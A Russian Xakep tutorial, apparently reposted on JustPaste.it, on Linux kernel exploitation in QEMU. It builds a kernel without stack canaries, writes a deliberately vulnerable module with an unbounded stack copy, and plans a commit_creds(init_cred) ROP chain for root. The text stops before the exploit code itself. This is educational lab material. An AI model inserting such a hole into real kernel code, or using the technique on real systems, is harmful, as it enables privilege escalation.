JustPaste.it

Хакер - Эксплуатация ядра для чайников. Проходим путь уязвимости от сборки ядра Linux до повышения привилегий

hacker_frei
4df200e4397ff473c0045b722de53f6c.png

 

https://t.me/hacker_frei

RoadToLP 

Содержание статьи

  • Подготовка
  • Ядро
  • Конфигурация
  • Сборка ядра
  • Модуль ядра
  • Код модуля и пояснения
  • Уязвимость
  • Сборка модуля
  • Rootfs
  • Возможные варианты
  • Создание диска
  • Установка Arch
  • Небольшая конфигурация изнутри
  • Финальные штрихи
  • Запуск ядра
  • Сервис для systemd
  • Непосредственно сервис
  • Запуск сервиса
  • Дебаггинг ядра
  • GDB и vmlinux-gdb.py
  • Удаленный дебаггинг ядра
  • Стратегия эксплуатации
  • Calling convention (соглашение о вызовах)
  • ret
  • Гаджеты, а именно pop rdi ; ret
  • Небольшое замечание о собранном нами ядре и об упрощениях
  • Итоговая стратегия
  • Переполнение
  • Возврат из системного вызова
  • Отслеживание работы vuln_write
  • Эксплоит
  • Достаем адреса
  • Сам эксплоит
  • Запуск эксплоита
  • Итоги

Луч­ший друг теории — это прак­тика. Что­бы понять, как работа­ют уяз­вимос­ти в ядре Linux и как их исполь­зовать, мы соз­дадим свой модуль ядра Linux и с его помощью повысим себе при­виле­гии до супер­поль­зовате­ля. Затем мы соберем само ядро Linux с уяз­вимым модулем, под­готовим все, что нуж­но для запус­ка ядра в вир­туаль­ной машине QEMU, и авто­мати­зиру­ем про­цесс заг­рузки модуля в ядро. Мы научим­ся отла­живать ядро, а потом вос­поль­зуем­ся при­емом ROP, что­бы получить пра­ва root.

ПОДГОТОВКА

Что­бы выпол­нить все задуман­ное, нам понадо­бят­ся сле­дующие ути­литы:

  • GCC — ком­пилятор C, что­бы ком­пилиро­вать ядро;
  • GDB — отладчик, который нам при­годит­ся, что­бы отла­живать ядро;
  • BC — будет нужен для сбор­ки ядра;
  • Make — обра­бот­чик рецеп­тов сбор­ки ядра;
  • Python — интер­пре­татор язы­ка Python, он будет исполь­зовать­ся модуля­ми GDB;
  • pacstrap или debootstrap — скрип­ты для раз­вер­тки сис­темы. Будут нуж­ны, что­бы соб­рать rootfs;
  • лю­бой тек­сто­вый редак­тор (подой­дет Vim или nano), что­бы написать модуль и рецепт к нему;
  • qemu-system-x86_64 — вир­туаль­ная машина, с помощью которой мы будем запус­кать ядро.

Это­го впол­не дос­таточ­но, что­бы соб­рать ядро и про­экс­плу­ати­ровать его модуль, содер­жащий уяз­вимость.

ЯДРО

В целях экспе­римен­та нам понадо­бит­ся ядро Linux, которое при­дет­ся самос­тоятель­но соб­рать.

Для при­мера возь­мем самое пос­леднее ста­биль­ное ядро с kernel.org. На момент написа­ния статьи это был Linux 5.12.4. На самом деле вер­сия ядра вряд ли пов­лияет на резуль­тат, так что можешь сме­ло брать наибо­лее акту­аль­ную. Ска­чива­ем архив, выпол­няем коман­ду tar xaf linux-5.12.4.tar.xz и заходим в появив­шуюся пап­ку.

Конфигурация

Мы не будем делать уни­вер­саль­ное ядро, которое может под­нимать любое железо. Все, что нам нуж­но, — это что­бы оно запус­калось в QEMU, а изна­чаль­ная кон­фигура­ция, пред­ложен­ная раз­работ­чиками, для этих целей под­ходит. Одна­ко все‑таки необ­ходимо удос­товерить­ся, что у нас будут сим­волы для отладки пос­ле ком­пиляции и что у нас нет сте­ковой канарей­ки (об этой пти­це мы погово­рим поз­же).

Су­щес­тву­ет нес­коль­ко спо­собов задать пра­виль­ную кон­фигура­цию, но мы выберем menuconfig. Он удо­бен и нет­ребова­телен к GUI. Выпол­няем коман­ду make menuconfig и наб­люда­ем сле­дующую кар­тину.

0329681bd63cc98704b4447edfc165f3.png

Для того что­бы у нас появи­лись отла­доч­ные сим­волы, идем в сек­цию Kernel hacking → Compile-time checks and compiler options. Тут надо будет выб­рать Compile the kernel with debug info и Provide GDB scripts for kernel debugging. Кро­ме отла­доч­ных сим­волов, мы получим очень полез­ный скрипт vmlinux-gdb.py. Это модуль для GDB, который поможет нам в опре­деле­нии таких вещей, как базовый адрес модуля в памяти ядра.

4464ff2dfd6616248ba2a5d8c4132d7d.png

Те­перь надо убрать про­тек­тор сте­ка, что­бы наш модуль был экс­плу­ати­руем. Для это­го воз­вра­щаем­ся на глав­ный экран кон­фигура­ции, заходим в раз­дел General architecture-dependent options и отклю­чаем фун­кцию Stack Protector buffer overflow detection.

cc2a63093cb22e5855b0fb2ca1c99237.png

Мож­но нажать на кноп­ку Save и выходить из окна нас­трой­ки. Что дела­ет эта нас­трой­ка, мы уви­дим далее.

Сборка ядра

Тут сов­сем ничего слож­ного. Выпол­няем коман­ду make -j<threads>, где threads — это количес­тво потоков, которые мы хотим исполь­зовать для сбор­ки ядра, и нас­лажда­емся про­цес­сом ком­пиляции.

c25a9f19d4ade825fee86ce23181f241.png

Ско­рость сбор­ки зависит от про­цес­сора: око­ло пяти минут она зай­мет на мощ­ном компь­юте­ре и нам­ного доль­ше — на сла­бом. Можешь не ждать окон­чания ком­пиляции и про­дол­жать читать статью.

МОДУЛЬ ЯДРА

В ядре Linux есть такое понятие, как character device. По‑прос­тому, это некото­рое устрой­ство, с которым мож­но делать такие эле­мен­тарные опе­рации, как чте­ние из него и запись. Но иног­да, как ни парадок­саль­но, это­го устрой­ства в нашем компь­юте­ре нет. Нап­ример, сущес­тву­ет некий девайс, име­ющий путь /dev/zero, и, если мы будем читать из это­го устрой­ства, мы получим нули (нуль‑бай­ты или \x00, если записы­вать в нотации C). Такие устрой­ства называ­ются вир­туаль­ными, и в ядре есть спе­циаль­ные обра­бот­чики на чте­ние и запись для них. Мы же напишем модуль ядра, который будет пре­дос­тавлять нам запись в устрой­ство. Назовем его /dev/vuln, а фун­кция записи в это устрой­ство, которая вызыва­ется при сис­темном вызове write, будет содер­жать уяз­вимость перепол­нения буфера.

Код модуля и пояснения

Соз­дадим в пап­ке с исходным кодом ядра вло­жен­ную пап­ку с име­нем vuln, где будет находить­ся модуль, и помес­тим там файл vuln.c вот с таким кон­тентом:

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/fs.h>

#include <linux/kdev_t.h>

#include <linux/device.h>

#include <linux/cdev.h>

MODULE_LICENSE("GPL"); // Лицензия

static dev_t first;

static struct cdev c_dev;

static struct class *cl;

static ssize_t vuln_read(struct file* file, char* buf, size_t count, loff_t *f_pos){

return -EPERM; // Нам не нужно чтение из устройства, поэтому говорим, что читать из него нельзя

}

static ssize_t vuln_write(struct file* file, const char* buf, size_t count, loff_t *f_pos){

char buffer[128];

int i;

memset(buffer, 0, 128);

for (i = 0; i < count; i++){

*(buffer + i) = buf[i];

}

printk(KERN_INFO "Got happy data from userspace - %s", buffer);

return count;

}

static int vuln_open(struct inode* inode, struct file* file) {

return 0;

}

static int vuln_close(struct inode* inode, struct file* file) {

return 0;

}

static struct file_operations fileops = {

owner: THIS_MODULE,

open: vuln_open,

read: vuln_read,

write: vuln_write,

release: vuln_close,

}; // Создаем структуру с файловыми операциями и обработчиками

int vuln_init(void){

alloc_chrdev_region(&first, 0, 1, "vuln"); // Регистрируем устройство /dev

cl = class_create( THIS_MODULE, "chardev"); // Создаем указатель на структуру класса

device_create(cl, NULL, first, NULL, "vuln"); // Создаем непосредственно устройство

cdev_init(&c_dev, &fileops); // Задаем хендлеры

cdev_add(&c_dev, first, 1); // И добавляем устройство в систему

printk(KERN_INFO "Vuln module started\n");

return 0;

}

void vuln_exit(void){ // Удаляем и разрегистрируем устройство

cdev_del( &c_dev );

device_destroy( cl, first );

class_destroy( cl );

unregister_chrdev_region( first, 1 );

printk(KERN_INFO "Vuln module stopped??\n");

}

module_init(vuln_init); // Точка входа модуля, вызовется при insmod

module_exit(vuln_exit); // Точка выхода модуля, вызовется при rmmod

Этот модуль соз­даст в /dev устрой­ство vuln, которое будет поз­волять писать в него дан­ные. Путь у него прос­той: /dev/vuln. Любопыт­ный читатель может поин­тересо­вать­ся, что за фун­кции оста­лись без ком­мента­риев? Их зна­чение мож­но поис­кать вот в этом ре­пози­тории. В нем, ско­рее все­го, оты­щут­ся все фун­кции, на которые есть докумен­тация в ядре Linux в виде стра­ниц man.

Уязвимость

Об­рати вни­мание на фун­кцию vuln_write. На сте­ке выделя­ется 128 байт для сооб­щения, которое будет написа­но в наше устрой­ство, а потом выведет­ся в kmsg, устрой­ство для логов ядра. Одна­ко и сооб­щение, и его раз­мер кон­тро­лиру­ются поль­зовате­лем, что поз­воля­ет ему записать нам­ного боль­ше, чем положе­но изна­чаль­но. Здесь оче­вид­но перепол­нение буфера на сте­ке, с пос­леду­ющим кон­тро­лем регис­тра RIP (Relative Instruction Pointer), что поз­воля­ет нам сде­лать ROP Chain. Мы погово­рим об этом в раз­деле, пос­вящен­ном экс­плу­ата­ции уяз­вимос­ти.

Сборка модуля

Сбор­ка модуля дос­таточ­но три­виаль­ная задача. Для это­го в пап­ке с исходным кодом модуля надо соз­дать Makefile вот с таким кон­тентом:

obj-m := vuln.o # Добавить в список собираемых модулей

all:

make -C ../ M=./vuln # Вызвать главный Makefile с аргументом M=$(module folder), чтобы он собрался

a176710cd2edb8361653400220f1ab68.png

Пос­ле это­го в пап­ке появит­ся файл vuln.ko. Рас­ширение ko озна­чает Kernel Object, он нес­коль­ко отли­чает­ся от обыч­ных объ­ектов .o. Получа­ется, мы уже соб­рали ядро и модуль для него. Для запус­ка в QEMU оста­лось про­делать еще нес­коль­ко опе­раций.

ROOTFS

Воп­реки рас­простра­нен­ному мне­нию, Linux не явля­ется опе­раци­онной сис­темой, если рас­смат­ривать его как отдель­ную прог­рамму. Это лишь ядро, которое в совокуп­ности с ути­лита­ми и прог­рамма­ми GNU дает пол­ноцен­ную рабочую РС. Она, кста­ти, так и называ­ется — GNU/Linux. То есть если ты запус­тишь Linux прос­то так, то он выдаст Kernel panic, сооб­щив об отсутс­твии фай­ловой сис­темы, которую мож­но при­нять за кор­невую. Даже если таковая есть, ядро пер­вым делом попыта­ется запус­тить init, бинар­ник, который явля­ется глав­ным про­цес­сом‑демоном в сис­теме, запус­кающим все служ­бы и осталь­ные про­цес­сы. Если это­го фай­ла нет или он работа­ет неп­равиль­но, ядро выдаст панику. Поэто­му нам нужен раз­дел с userspace-прог­рамма­ми. Далее я буду исполь­зовать pacstrap, скрипт для уста­нов­ки Arch Linux. Если у тебя Debian-подоб­ная сис­тема, ты можешь исполь­зовать debootstrap.

Возможные варианты

Су­щес­тву­ет мно­го раз­ных вари­антов соб­рать пол­ностью рабочую сис­тему: как минимум, есть LFS (Linux From Scratch), но это уже слиш­ком слож­но. Так­же есть вари­ант с соз­дани­ем initramfs (файл с минималь­ной фай­ловой сис­темой, необ­ходимый для выпол­нения некото­рых задач до заг­рузки основной сис­темы). Но минус это­го спо­соба в том, что такой диск не очень прос­то сде­лать, а редак­тировать еще слож­нее: его при­дет­ся пересо­бирать. Поэто­му мы выберем дру­гой вари­ант — соз­дание пол­ноцен­ной фай­ловой сис­темы ext4 в фай­ле. Давай раз­берем­ся, как мы будем это делать.

Создание диска

Для начала надо отвести мес­то под саму фай­ловую сис­тему. Для это­го выпол­ним коман­ду dd if=/dev/zero of=./rootfs.img bs=1G count=2. Дан­ная коман­да запол­нит rootfs.img нулями, и уста­новим его раз­мер в 2 Гбайт. Пос­ле это­го надо соз­дать раз­дел ext4 в этом фай­ле. Для это­го запус­каем mkfs.ext4 ./rootfs.img. Нам не тре­буют­ся пра­ва супер­поль­зовате­ля, потому что фай­ловая сис­тема соз­дает­ся в нашем фай­ле. Теперь оста­ется пос­леднее, что мы сде­лаем перед уста­нов­кой сис­темы: sudo mount ./rootfs.img /mnt. Теперь пра­ва супер­поль­зовате­ля нам понадо­бят­ся для того, что­бы смон­тировать эту фай­ловую сис­тему и делать манипу­ляции уже в ней.

Установка Arch

Зву­чит страш­но. На самом деле, если речь идет о Manjaro или дру­гой Arch Linux подоб­ной сис­теме, все край­не прос­то. В репози­тори­ях име­ется пакет под наз­вани­ем arch-install-scripts, где находит­ся pacstrap. Пос­ле уста­нов­ки дан­ного пакета выпол­няем коман­ду sudo pacstrap /mnt base и ждем, пока ска­чают­ся все основные пакеты.

13313ba240f7dd21daf829cea9adb52d.png

По­том надо будет ско­пиро­вать vuln.ko коман­дой

cp <kernel sources>/vuln/vuln.ko /mnt/vuln.ko

Мо­дуль в сис­теме, все хорошо.

Небольшая конфигурация изнутри

Те­перь нам нуж­но нас­тро­ить пароль супер­поль­зовате­ля, что­бы вой­ти в сис­тему. Вос­поль­зуем­ся arch-chroot, который авто­мати­чес­ки под­готовит все окру­жение в соз­данной сис­теме. Для это­го запус­каем коман­ду sudo arch-chroot /mnt, а затем — passwd. Таким обра­зом мы смо­жем вой­ти в сис­тему, ког­да заг­рузим­ся.

Так­же нам очень понадо­бят­ся пара пакетов — GCC и любой тек­сто­вый редак­тор, нап­ример Vim. Они нуж­ны для написа­ния и ком­пиляции экс­пло­ита. Эти пакеты мож­но получить с помощью команд apt install vim gcc на Debian-сис­теме или pacman -S vim gcc для Arch-подоб­ной ОС. Так­же желатель­но соз­дать обыч­ного поль­зовате­ля, от име­ни которо­го мы будем про­верять экс­пло­ит. Для это­го выпол­ним коман­ды useradd -m user и passwd user, что­бы у него была домаш­няя пап­ка.

8098e75fe1198a03c371f773a0d7ddb9.png

Вый­дем из chroot с помощью Ctrl + d и на вся­кий слу­чай напишем sync.

Финальные штрихи

На самом деле по‑хороше­му надо отмонти­ровать rootfs.img коман­дой sudo umount /mnt. Лич­но я пос­ле записи в /mnt всег­да допол­нитель­но делаю sync, что­бы записан­ные дан­ные не потеря­лись в кеше. Теперь мы пол­ностью готовы к запус­ку ядра с нашим модулем.

ЗАПУСК ЯДРА

Пос­ле сбор­ки само ядро будет лежать в сжа­том виде в <kernel sources>/arch/x86/boot/bzImage. Хоть оно и сжа­то, ядро спо­кой­но запус­тится в QEMU, потому что это саморас­паковы­вающий­ся бинар­ник.

При усло­вии, что мы находим­ся в пап­ке <kernel sources> и там же находит­ся rootfs.img, коман­да для запус­ка ядра будет такой:

qemu-system-x86_64 \

-kernel ./arch/x86/boot/bzImage \

-append “console=ttyS0,115200 root=/dev/sda rw nokaslr” \

-hda ./rootfs.img \

-nographic

В kernel мы ука­зали путь к ядру, append явля­ется коман­дной стро­кой ядра, console=ttyS0,115200 говорит о том, что вывод будет давать­ся в устрой­ство ttyS0 со ско­ростью переда­чи дан­ных 115 200 бит/с. Это прос­то serial-порт, отку­да берет дан­ные QEMU. Аргу­мент root=/dev/sda дела­ет кор­невой фай­ловой сис­темой диск, который мы потом вклю­чили с помощью клю­ча hda, а rw дела­ет эту фай­ловую сис­тему дос­тупной для чте­ния и записи (по умол­чанию толь­ко для чте­ния). Параметр nokaslr нужен, что­бы не ран­домизи­рова­лись адре­са фун­кций ядра в вир­туаль­ной памяти. Этот параметр упростит экс­плу­ата­цию. Наконец, -nographic выпол­няет запуск без отдель­ного окош­ка пря­мо в кон­соли.

Пос­ле запус­ка мы можем залоги­нить­ся и попасть в кон­соль. Одна­ко, если зай­ти в /dev, мы не най­дем нашего устрой­ства. Что­бы оно появи­лось, надо выпол­нить коман­ду insmod /vuln.ko. Сооб­щения о заг­рузке добавят­ся в kmsg, а в /dev появит­ся устрой­ство vuln. Одна­ко есть неболь­шая проб­лема: /dev/vuln име­ет пра­ва 600. Для нашей экс­плу­ата­ции необ­ходимы пра­ва 666 или хотя бы 622, что­бы любой поль­зователь мог писать в этот файл. Мы можем вруч­ную вклю­чать модуль в ядре, как и менять пра­ва устрой­ству, но, сог­ласись, выг­лядит это так себе. Прос­то пред­ста­вим, что это какой‑то важ­ный модуль, который дол­жен запус­кать­ся вмес­те с сис­темой. Поэто­му нам надо авто­мати­зиро­вать этот про­цесс.

СЕРВИС ДЛЯ SYSTEMD

Ав­томати­зиро­вать про­цес­сы при заг­рузке мож­но раз­ными спо­соба­ми: мож­но записать скрипт в /etc/profile, мож­но помес­тить его в ~/.bashrc, мож­но даже перепи­сать init таким обра­зом, что­бы сна­чала запус­кался наш скрипт, а потом вся осталь­ная сис­тема. Одна­ко лег­че все­го написать модуль для systemd, прог­раммы, которая явля­ется непос­редс­твен­но init и может авто­мати­зиро­вать раз­ные вещи цивили­зован­ным обра­зом. Даль­нейшие дей­ствия мы будем выпол­нять в сис­теме, запущен­ной в QEMU. Она сох­ранит все изме­нения.

Непосредственно сервис

По фак­ту нам надо сде­лать две вещи: вста­вить модуль в ядро и поменять пра­ва /dev/vuln на 666. Сер­вис запус­кает­ся как скрипт — один раз во вре­мя заг­рузки сис­темы. Поэто­му тип сер­виса будет oneshot. Давай пос­мотрим, что у нас получит­ся.

[Unit]

Name=Vulnerable module # Название модуля

[Service]

Type=oneshot # Тип модуля. Запустится один раз

ExecStart=insmod /vuln.ko ; chmod 666 /dev/vuln # Команда для загрузки модуля и изменения разрешений

[Install]

WantedBy=multi-user.target # Когда модуль будет подгружен. Multi-user достаточно стандартная вещь для таких модулей

Этот код дол­жен будет лежать в /usr/lib/systemd/system/vuln.service.

Запуск сервиса

Так как скрипт дол­жен запус­кать­ся во вре­мя заг­рузки сис­темы, надо выпол­нить коман­ду systemctl enable vuln от име­ни супер­поль­зовате­ля.

a47ab5a51e54f8b8d527539f022d7698.png

Пос­ле перезаг­рузки файл vuln в /dev/ получит пра­ва rw-rw-rw-. Прек­расно. Теперь перехо­дим к самому слад­кому. Что­бы вый­ти из QEMU, наж­ми Ctrl + A, C и D.

ДЕБАГГИНГ ЯДРА

Де­бажить ядро мы будем для того, что­бы пос­мотреть, как оно работа­ет во вре­мя наших вызовов. Это поз­волит нам понять, как экс­плу­ати­ровать уяз­вимость. Опыт­ные читате­ли, ско­рее все­го, зна­ют о One gadget в libc, стан­дар­тной биб­лиоте­ке C в Linux, поз­воля­ющей поч­ти сра­зу запус­тить /bin/sh из уяз­вимой прог­раммы в userspace. В ядре же кноп­ки «сде­лать клас­сно» нет, но есть дру­гая, пос­ложнее.

GDB и vmlinux-gdb.py

Нас­тоятель­но рекомен­дую тебе исполь­зовать GEF для упро­щения работы. Это модуль для GDB, который уме­ет показы­вать сос­тояния регис­тров, сте­ка и кода во вре­мя работы. Его мож­но взять здесь.

Пер­вым делом надо раз­решить заг­рузку сто­рон­них скрип­тов, а имен­но vmlinux-gdb.py, который сей­час находит­ся в кор­невой пап­ке исходни­ков. Как, собс­твен­но, и vmlinux, файл с сим­волами ядра. Он поможет впос­ледс­твии узнать базовый адрес модуля ядра. Это мож­но сде­лать, добавив стро­ку set auto-load safe-path / в ~/.gdbinit. Теперь, что­бы заг­рузить сим­волы и вооб­ще код, выпол­ни коман­ду gdb vmlinux. Пос­ле это­го надо запус­тить само ядро.

Удаленный дебаггинг ядра

Рань­ше мы уже обсужда­ли, как мож­но запус­тить ядро. Единс­твен­ное, чего мы не учли, — это то, что его нель­зя дебажить. Что­бы раз­решить отладку, надо, что­бы QEMU сде­лал для нас сер­вер GDB. Для это­го к коман­де нуж­но при­бавить -gdb tcp::1234, где tcp — про­токол под­клю­чения, а 1234 — это порт. Запус­каем ядро модифи­циро­ван­ной коман­дой, в дру­гом окош­ке запус­каем GDB. Что­бы под­клю­чить­ся к ядру, надо отдать коман­ду target remote localhost:1234. Работа ядра оста­новит­ся, и оно будет ждать наших дей­ствий.

58b7b7695d299acec8d4cba7374ea1b4.png

Мож­но заметить, что QEMU сей­час замер в кон­крет­ном сос­тоянии, потому что оста­нов­лено ядро. Вос­ста­новить работу мож­но в GDB коман­дой continue. Для при­оста­нов­ки же нуж­но нажать Ctrl + C.

СТРАТЕГИЯ ЭКСПЛУАТАЦИИ

Вся экс­плу­ата­ция ядра сво­дит­ся к тому, что­бы под­нять себе при­виле­гии, чаще все­го до рута. Один из вари­антов, как это сде­лать, зак­люча­ется в сле­дующем: нам надо выз­вать фун­кцию commit_creds с аргу­мен­том init_credCommit_creds уста­новит пра­ва про­цес­са на при­виле­гии, опи­сан­ные в init_cred. В свою оче­редь, init_cred име­ет пра­ва самого глав­ного про­цес­са под номером 1, то есть init, мак­сималь­но воз­можные пра­ва в userspace. В коде ядра это выг­лядит при­мер­но так:

 

struct cred init_cred = {

.usage = ATOMIC_INIT(4),

#ifdef CONFIG_DEBUG_CREDENTIALS

.subscribers = ATOMIC_INIT(2),

.magic = CRED_MAGIC,

#endif

.uid = GLOBAL_ROOT_UID,

.gid = GLOBAL_ROOT_GID,

.suid = GLOBAL_ROOT_UID,

.sgid = GLOBAL_ROOT_GID,

.euid = GLOBAL_ROOT_UID,

.egid = GLOBAL_ROOT_GID,

.fsuid = GLOBAL_ROOT_UID,

.fsgid = GLOBAL_ROOT_GID,

.securebits = SECUREBITS_DEFAULT,

.cap_inheritable = CAP_EMPTY_SET,

.cap_permitted = CAP_FULL_SET,

.cap_effective = CAP_FULL_SET,

.cap_bset = CAP_FULL_SET,

.user = INIT_USER,

.user_ns = &init_user_ns,

.group_info = &init_groups,

}

Бо­лее под­робное опи­сание этой фун­кции читатель может пос­мотреть в репози­тории, упо­мяну­том рань­ше. То есть нам нуж­но каким‑то обра­зом выпол­нить commit_creds(init_cred) во вре­мя записи в уяз­вимое устрой­ство. Давай раз­берем­ся, как это сде­лать.

Calling convention (соглашение о вызовах)

Под­кован­ный читатель может про­пус­тить эту и сле­дующие две час­ти. Пред­ста­вим, что у нас есть обыч­ный сиш­ный код, нап­ример sum(3, 2);. В исходном виде это выг­лядит край­не прос­то, но про­цес­сор не работа­ет с исходным кодом, он работа­ет на инс­трук­циях, сге­нери­рован­ных ком­пилято­ром. Для про­цес­сора дан­ная стро­ка будет выг­лядеть при­мер­но так:

mov rdi, 3 ; В регистр RDI положить первый аргумент

mov rsi, 2 ; В регистр RSI положить второй аргумент

call sum ; Вызвать функцию sum

Как мож­но понять из кода, пер­вый аргу­мент лежит в регис­тре RDI, а вто­рой в RSI. При этом вывод фун­кции в нашем слу­чае, ско­рее все­го, 5, будет лежать в регис­тре RAX. В архи­тек­туре x86_64 есть 16 основных очень быс­трых регис­тров, при этом каж­дый из них хра­нит 64 бита информа­ции: RAXRBXRCXRDXRDIRSIRSPRBP и R8-R15. То есть, что­бы выз­вать фун­кцию commit_creds(init_cred), нам надо будет положить в регистр RDI адрес init_cred, а потом выз­вать commit_creds. Еще одним важ­ным регис­тром будет RSP (Relative Stack Pointer), о нем мож­но про­читать в Ви­кипе­дии. Этот регистр хра­нит в себе ука­затель на стек, отку­да берут­ся адре­са, нап­ример для инс­трук­ции ret или pop.

ret

Ret — инс­трук­ция, которая берет пос­леднее 64-бит­ное зна­чение из сте­ка и пры­гает туда. Зачем она нам нуж­на? Дело в том, что единс­твен­ное, что, по сути, мы можем кон­тро­лиро­вать, — стек. Прак­тичес­ки любая фун­кция в ассем­бле­ре закан­чива­ется инс­трук­цией ret, которая переда­ет управле­ние вызыва­ющей фун­кции. Получа­ется, если мы можем переза­писы­вать так называ­емый ret-адрес (адрес, который берет ret из сте­ка), то мы можем кон­тро­лиро­вать про­цесс выпол­нения кода, что нам будет очень кста­ти. Оста­лось толь­ко одно: записать init_cred в RDI.

Гаджеты, а именно pop rdi ; ret

В любой ском­пилиро­ван­ной прог­рамме есть малень­кие учас­тки кода, которые могут нам помочь пос­тро­ить ROP-цепоч­ку. ROP, Return Oriented Programming, — тех­ника бинар­ной экс­плу­ата­ции, поз­воля­ющая путем кон­тро­ля сте­ка писать внут­ри прог­раммы свою прог­рамму, которая дела­ет то, что нуж­но ата­кующе­му. Такие малень­кие учас­тки кода называ­ются гад­жетами.

Нам же надо най­ти такой гад­жет, который берет зна­чение из кон­тро­лиру­емо­го нами сте­ка, кла­дет его в регистр RDI и сме­щает ука­затель на стек. Инс­трук­ция, иде­аль­но под­ходящая в дан­ном слу­чае, — pop. Она возь­мет зна­чение из сте­ка в регистр и смес­тит стек. Пос­ле это­го нам нужен ret, который прыг­нет по адре­су commit_creds, тем самым поч­ти сде­лав call. Исполь­зуя прог­рамму ROPGadget, мы можем най­ти такой гад­жет. Для это­го запус­каем ROPGadget vmlinux | grep "pop rdi ; ret" и смот­рим на адрес это­го учас­тка кода.

d38d6ecf306b7c8f7cc2b9d405352195.png

Сох­раним его, он нам потом понадо­бит­ся.

Небольшое замечание о собранном нами ядре и об упрощениях

Это важ­ный момент, пос­коль­ку мы собира­ли ядро с вык­лючен­ной опци­ей Stack Protector buffer overflow detection. Хотя мы исполь­зуем это ядро как при­мер, вклю­чение этой опции, ско­рее все­го, сде­лает модуль неуяз­вимым. Вер­нее, повысить при­виле­гии не получит­ся, но мож­но будет зап­росто краш­нуть ядро.

Эта фун­кция добав­ляет «сте­ковую канарей­ку», слу­чай­ное чис­ло, которое вно­сит­ся на стек в начале фун­кции и про­веря­ется в кон­це. Таким обра­зом, если мы его перепи­шем, ядро пой­мет, что его пыта­ются взло­мать, и отка­жет­ся работать.

С дру­гой сто­роны, ты мог заметить сло­во nokaslr в парамет­ре append коман­ды запус­ка QEMU. Ядро, как и прог­рамма в userspace, заин­тересо­вано в том, что­бы его не полома­ли. В userspace сущес­тву­ет ASLR (Address Space Layout Randomization).

До­пус­тим, у нас есть прог­рамма, которая име­ет по адре­су 0x50000 нуж­ную нам фун­кцию. Но она не выпол­няет­ся непос­редс­твен­но в коде, и есть дру­гая фун­кция, име­ющая уяз­вимость перепол­нения буфера. Если отсутс­тву­ет ASLR, то хакер может прыг­нуть на эту фун­кцию и взло­мать прог­рамму, но если появ­ляет­ся ASLR, то адрес этой фун­кции меня­ется слу­чай­но. Таким обра­зом, хакеру сна­чала надо узнать базовый адрес прог­раммы и пос­читать нас­тоящий адрес фун­кции. Это было при­дума­но, что­бы силь­но усложнить экс­плу­ата­цию уяз­вимос­тей. В ядре же был соз­дан kaslr, который ран­домизи­рует базовый адрес ядра. Таким обра­зом, адрес, который был получен в прош­лом пун­кте, с kaslr был бы неп­равиль­ным. Поэто­му для упро­щения экс­плу­ата­ции мы вык­люча­ем kaslr с помощью парамет­ра nokaslr.

Итоговая стратегия

Вкрат­це нам нуж­но выпол­нить пять дей­ствий:

  1. Пе­репол­нить буфер мусор­ными дан­ными.
  2. Прыг­нуть на pop rdi ; ret.
  3. В RDI записать init_cred.
  4. Прыг­нуть на commit_creds.
  5. Вер­нуть­ся из сис­темно­го вызова без про­исшес­твий.

Как решить задачи 2, 3 и 4, мы уже поняли, соот­ветс­твен­но, оста­ются толь­ко пун­кты 1 и 5.

ПЕРЕПОЛНЕНИЕ

Взгля­нем на код модуля, а имен­но на vuln_write еще разок:

 

static ssize_t vuln_write(struct file* file, const char* buf, size_t count, loff_t *f_pos){

char buffer[128];

int i;

memset(buffer, 0, 128);

for (i = 0; i < count; i++){

*(buffer + i) = buf[i];

}

printk(KERN_INFO "Got happy data from userspace - %s", buffer);

return count;

}

Пос­коль­ку мы не зна­ем, как ком­пилятор будет хра­нить int i: будет оно на сте­ке или регис­тром, сто­ит пос­мотреть вывод дизас­сем­бле­ра для этой фун­кции.

Что­бы это сде­лать, нуж­но под­гру­зить код модуля в GDB. Для это­го сна­чала запус­тим lx-lsmod, который пре­дос­тавля­ется vmlinux-gdb.py, и най­дем адрес модуля vuln. Зная базовый адрес модуля, мы можем под­гру­зить vuln.ko. Для это­го выпол­ним коман­ду add-symbol-file ./vuln/vuln.ko <address>, где address — шес­тнад­цатерич­ное чис­ло, взя­тое из lx-lsmod. Фун­кция называ­ется vuln_write, поэто­му сме­ло пишем disassemble vuln_write.

0228d65bf7409ecc9c5391992fec1a1d.png

Нам не нуж­ны все эти страш­ные инс­трук­ции: выберем толь­ко те, которые работа­ют со сте­ком. Пер­вым делом идет push r12, который в кон­це будет воз­вра­щен с помощью pop r12. Это зна­чит, что уже занято 8 байт. Далее идет инс­трук­ция add rsp,0xffffffffffffff80, которая на самом деле не добав­ляет, а вычита­ет из rsp~ 0x80. Заметим, что 0x80 — это 128 в десятич­ной сис­теме. Ага, то есть фун­кция алло­циру­ет под себя 128 байт для буфера и еще 8 байт для сох­ранения r12, ито­го 128 + 8 = 136 байт.

Кста­ти, если пос­мотреть далее, то будет вид­но, что перемен­ной i явля­ется регистр edx — млад­шие 32 бита регис­тра rdx. Сра­зу же пос­ле 136 байт будет лежать адрес воз­вра­та из vuln_write. То есть для того, что­бы перепол­нить стек, нам надо сна­чала запол­нить 136 байт мусором, а потом будет наш ROP Chain. В качес­тве мусора исто­ричес­ки исполь­зовались бук­вы А, так что пер­выми в нашем экс­пло­ите будут 136 сим­волов A. Зная, как перепол­нить стек, мы можем перей­ти к пос­ледне­му пун­кту нашей раз­вле­катель­ной прог­раммы.

ВОЗВРАТ ИЗ СИСТЕМНОГО ВЫЗОВА

Здесь воз­ника­ет неболь­шая проб­лема: мы будем переза­писы­вать ров­но четыре 64-бит­ных зна­чения на сте­ке пос­ле r12, который нам, по сути, не нужен и не важен; тем более стек будет сме­щен на эти 32 бай­та. Поэто­му воз­вра­щать­ся туда, куда дол­жен изна­чаль­но воз­вра­щать­ся vuln_write, было бы край­не опро­мет­чиво, потому что ядро может попасть на неп­равиль­ный адрес и сло­вить ошиб­ку. Что­бы понять, куда пры­гать, надо нем­ного подеба­жить и пос­мотреть, куда вооб­ще будет воз­вра­щать­ся vuln_write.

Отслеживание работы vuln_write

Пос­тавим брейк‑пой­нт (точ­ку оста­нова) на vuln_write. Для это­го вос­поль­зуем­ся коман­дой GDB hbreak vuln_write. Затем наберем continue и возоб­новим работу ядра. В QEMU вве­дем echo asdf > /dev/vuln. Это ини­циирует запись asdf в /dev/vuln. Заметим, что работа ядра при­оста­нови­лась, перехо­дим обратно в GDB. С помощью коман­ды ni мы дол­жны дой­ти до инс­трук­ции ret. Выходим из фун­кции так же с помощью ni и про­дол­жаем идти, пока не дой­дем до инс­трук­ций pop. Здесь мы понима­ем, что их все­го шесть перед ret.

